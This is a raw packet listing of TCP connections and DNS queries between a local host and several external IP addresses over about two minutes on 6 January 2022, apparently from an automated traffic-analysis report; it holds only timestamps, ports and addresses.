Jan 6, 2022 21:05:04.869911909 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869918108 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869951963 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869970083 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869992971 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869997025 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870032072 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870034933 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870070934 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870074987 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870110035 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870114088 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870146990 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870152950 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870186090 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870192051 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870225906 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870251894 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870265961 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870280027 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870309114 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870312929 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870347023 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870358944 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870385885 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870398045 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870425940 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870440006 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870464087 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870469093 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870502949 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870508909 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870541096 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870548964 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870583057 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870588064 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870624065 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870637894 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870661974 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870666981 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870702028 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870707989 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870739937 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870752096 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870778084 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870784044 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870816946 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870820999 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870856047 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870861053 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870893955 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870906115 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870934010 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870938063 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.870971918 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.870979071 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.871018887 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.929930925 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.929980993 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930023909 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930064917 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930080891 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930104017 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930109024 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930135012 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930144072 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930150032 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930186987 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930227041 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930233002 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930264950 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930274010 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930306911 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930309057 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930346966 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930350065 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930386066 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930391073 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930425882 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930429935 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930464029 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930483103 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930517912 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930521011 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930562019 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930566072 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930598974 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930605888 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930639029 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930650949 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930677891 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930682898 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930716038 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930720091 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930754900 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930759907 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930794001 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930797100 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930834055 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930840969 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930876017 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930881023 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930913925 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930922985 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930953026 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930972099 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.930991888 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.930995941 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931030035 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931035995 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931068897 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931073904 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931107998 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931113005 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931148052 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931153059 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931189060 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931200981 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931267023 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931289911 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931330919 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931334972 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931368113 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931375027 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931407928 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931411982 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931447983 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931452036 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931487083 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931493044 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931526899 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931530952 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931566954 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931605101 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931612015 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931646109 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931648970 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931684971 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931688070 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931725025 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931727886 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931763887 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931767941 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931802988 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931806087 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931840897 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931845903 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931880951 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931884050 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931917906 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931925058 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931958914 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.931958914 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.931998014 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.932003021 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.932039022 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.932077885 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.932090998 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.932096958 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.932116032 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.932131052 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.932154894 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.932159901 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.932194948 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.932197094 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.932233095 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.932272911 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.932312012 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.932343960 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.932351112 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.932390928 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.932403088 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.932425976 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.932431936 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.932473898 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.991462946 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.991524935 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.991688013 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.996264935 CET	80	49867	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:04.996355057 CET	80	49867	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:05.387254000 CET	80	49867	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:05.387617111 CET	49867	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:05.388000011 CET	49867	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:05.413677931 CET	49868	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:05.569192886 CET	80	49867	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:05.583853960 CET	80	49868	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:05.583949089 CET	49868	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:05.584080935 CET	49868	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:05.584111929 CET	49868	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:05.754036903 CET	80	49868	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:06.070981979 CET	49856	38133	192.168.2.4	86.107.197.138
Jan 6, 2022 21:05:06.103929043 CET	38133	49856	86.107.197.138	192.168.2.4
Jan 6, 2022 21:05:06.103959084 CET	38133	49856	86.107.197.138	192.168.2.4
Jan 6, 2022 21:05:06.103980064 CET	38133	49856	86.107.197.138	192.168.2.4
Jan 6, 2022 21:05:06.104084969 CET	49856	38133	192.168.2.4	86.107.197.138
Jan 6, 2022 21:05:06.149384975 CET	80	49868	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:06.149403095 CET	80	49868	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:06.149482965 CET	49868	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:06.149667025 CET	49868	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:06.149856091 CET	49856	38133	192.168.2.4	86.107.197.138
Jan 6, 2022 21:05:06.303057909 CET	49869	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:06.320353031 CET	80	49868	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:06.481780052 CET	80	49869	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:06.481940985 CET	49869	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:06.482136965 CET	49869	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:06.482161999 CET	49869	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:06.659662962 CET	80	49869	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:06.659703970 CET	80	49869	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:07.041696072 CET	80	49869	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:07.042566061 CET	49869	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:07.361013889 CET	49869	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:07.538784981 CET	80	49869	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:09.807658911 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:09.807765961 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:10.282685995 CET	49856	38133	192.168.2.4	86.107.197.138
Jan 6, 2022 21:05:10.314657927 CET	38133	49856	86.107.197.138	192.168.2.4
Jan 6, 2022 21:05:10.351061106 CET	38133	49856	86.107.197.138	192.168.2.4
Jan 6, 2022 21:05:10.351859093 CET	49856	38133	192.168.2.4	86.107.197.138
Jan 6, 2022 21:05:10.423346996 CET	38133	49856	86.107.197.138	192.168.2.4
Jan 6, 2022 21:05:10.511667967 CET	49856	38133	192.168.2.4	86.107.197.138
Jan 6, 2022 21:05:10.737210035 CET	80	49809	54.38.220.85	192.168.2.4
Jan 6, 2022 21:05:10.737334967 CET	49809	80	192.168.2.4	54.38.220.85
Jan 6, 2022 21:05:10.737389088 CET	49809	80	192.168.2.4	54.38.220.85
Jan 6, 2022 21:05:10.755377054 CET	80	49809	54.38.220.85	192.168.2.4
Jan 6, 2022 21:05:17.951889992 CET	49849	443	192.168.2.4	94.142.141.254
Jan 6, 2022 21:05:17.952115059 CET	443	49849	94.142.141.254	192.168.2.4
Jan 6, 2022 21:05:17.952228069 CET	49849	443	192.168.2.4	94.142.141.254
Jan 6, 2022 21:05:28.303411007 CET	49873	443	192.168.2.4	94.142.141.254
Jan 6, 2022 21:05:28.303469896 CET	443	49873	94.142.141.254	192.168.2.4
Jan 6, 2022 21:05:28.303558111 CET	49873	443	192.168.2.4	94.142.141.254

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2022 21:03:44.087964058 CET	49257	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:03:44.394531012 CET	53	49257	8.8.8.8	192.168.2.4
Jan 6, 2022 21:03:45.129863024 CET	62389	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:03:45.149070024 CET	53	62389	8.8.8.8	192.168.2.4
Jan 6, 2022 21:03:45.893234968 CET	49910	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:03:45.911756992 CET	53	49910	8.8.8.8	192.168.2.4
Jan 6, 2022 21:03:46.644789934 CET	55854	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:03:46.931773901 CET	53	55854	8.8.8.8	192.168.2.4
Jan 6, 2022 21:03:47.686779022 CET	64549	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:03:47.703706026 CET	53	64549	8.8.8.8	192.168.2.4
Jan 6, 2022 21:03:48.452246904 CET	63153	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:03:48.469207048 CET	53	63153	8.8.8.8	192.168.2.4
Jan 6, 2022 21:03:50.448467970 CET	51726	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:03:50.466917992 CET	53	51726	8.8.8.8	192.168.2.4
Jan 6, 2022 21:03:51.213649988 CET	56794	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:03:51.232356071 CET	53	56794	8.8.8.8	192.168.2.4
Jan 6, 2022 21:03:51.965908051 CET	56534	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:03:51.984594107 CET	53	56534	8.8.8.8	192.168.2.4
Jan 6, 2022 21:03:56.692790031 CET	56627	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:03:56.710052967 CET	53	56627	8.8.8.8	192.168.2.4
Jan 6, 2022 21:03:57.476418018 CET	56621	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:03:57.791522980 CET	53	56621	8.8.8.8	192.168.2.4
Jan 6, 2022 21:03:58.571448088 CET	64078	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:03:58.588244915 CET	53	64078	8.8.8.8	192.168.2.4
Jan 6, 2022 21:03:59.451236963 CET	61721	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:03:59.767494917 CET	53	61721	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:00.502439022 CET	55046	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:00.521034956 CET	53	55046	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:04.067358971 CET	60875	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:04.086101055 CET	53	60875	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:04.825269938 CET	56448	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:04.841764927 CET	53	56448	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:05.596216917 CET	59172	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:05.700797081 CET	53	59172	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:05.745769978 CET	62420	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:05.764417887 CET	53	62420	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:06.521249056 CET	60579	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:06.540122032 CET	53	60579	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:07.316179991 CET	50183	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:07.332250118 CET	53	50183	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:08.086335897 CET	61531	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:08.105354071 CET	53	61531	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:08.853355885 CET	49228	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:09.164911032 CET	53	49228	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:15.147360086 CET	55916	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:15.163722038 CET	53	55916	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:16.100022078 CET	52752	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:16.119079113 CET	53	52752	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:16.865906000 CET	60542	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:16.884258986 CET	53	60542	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:17.160027981 CET	60689	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:17.473305941 CET	53	60689	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:17.659147024 CET	64206	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:17.675959110 CET	53	64206	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:20.490818024 CET	50904	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:20.509411097 CET	53	50904	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:21.317909002 CET	57525	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:21.336544991 CET	53	57525	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:22.075305939 CET	53814	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:22.092238903 CET	53	53814	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:22.863820076 CET	53418	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:22.887846947 CET	53	53418	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:24.457070112 CET	62833	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:24.475713968 CET	53	62833	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:25.218585968 CET	59260	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:25.506037951 CET	53	59260	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:26.284018040 CET	49944	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:26.302438974 CET	53	49944	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:35.246290922 CET	51275	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:35.376940966 CET	53	51275	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:37.904493093 CET	63492	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:37.925005913 CET	53	63492	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:48.149410963 CET	58945	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:48.167887926 CET	53	58945	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:49.204317093 CET	60779	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:49.222542048 CET	53	60779	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:50.758620977 CET	64014	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:50.775494099 CET	53	64014	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:51.531812906 CET	57091	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:51.550612926 CET	53	57091	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:52.312217951 CET	55904	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:52.605201960 CET	53	55904	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:55.930928946 CET	52109	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:56.234678984 CET	53	52109	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:56.987226963 CET	54450	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:57.005938053 CET	53	54450	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:57.761863947 CET	49374	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:57.780750990 CET	53	49374	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:58.503036022 CET	50436	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:58.521632910 CET	53	50436	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:59.257611990 CET	62605	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:59.275687933 CET	53	62605	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:59.458297014 CET	54256	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:59.477966070 CET	53	54256	8.8.8.8	192.168.2.4
Jan 6, 2022 21:04:59.672730923 CET	52189	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:04:59.691565037 CET	53	52189	8.8.8.8	192.168.2.4
Jan 6, 2022 21:05:00.450913906 CET	56131	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:05:00.469481945 CET	53	56131	8.8.8.8	192.168.2.4
Jan 6, 2022 21:05:04.315187931 CET	62992	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:05:04.632304907 CET	53	62992	8.8.8.8	192.168.2.4
Jan 6, 2022 21:05:05.395999908 CET	54432	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:05:05.413085938 CET	53	54432	8.8.8.8	192.168.2.4
Jan 6, 2022 21:05:06.157236099 CET	57227	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:05:06.175817966 CET	53	57227	8.8.8.8	192.168.2.4
Jan 6, 2022 21:05:07.399565935 CET	63136	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:05:07.418545008 CET	53	63136	8.8.8.8	192.168.2.4
Jan 6, 2022 21:05:09.068491936 CET	63409	53	192.168.2.4	8.8.8.8
Jan 6, 2022 21:05:09.110080957 CET	53	63409	8.8.8.8	192.168.2.4
Jan 6, 2022 21:05:27.973709106 CET	59185	53	192.168.2.4	8.8.8.8
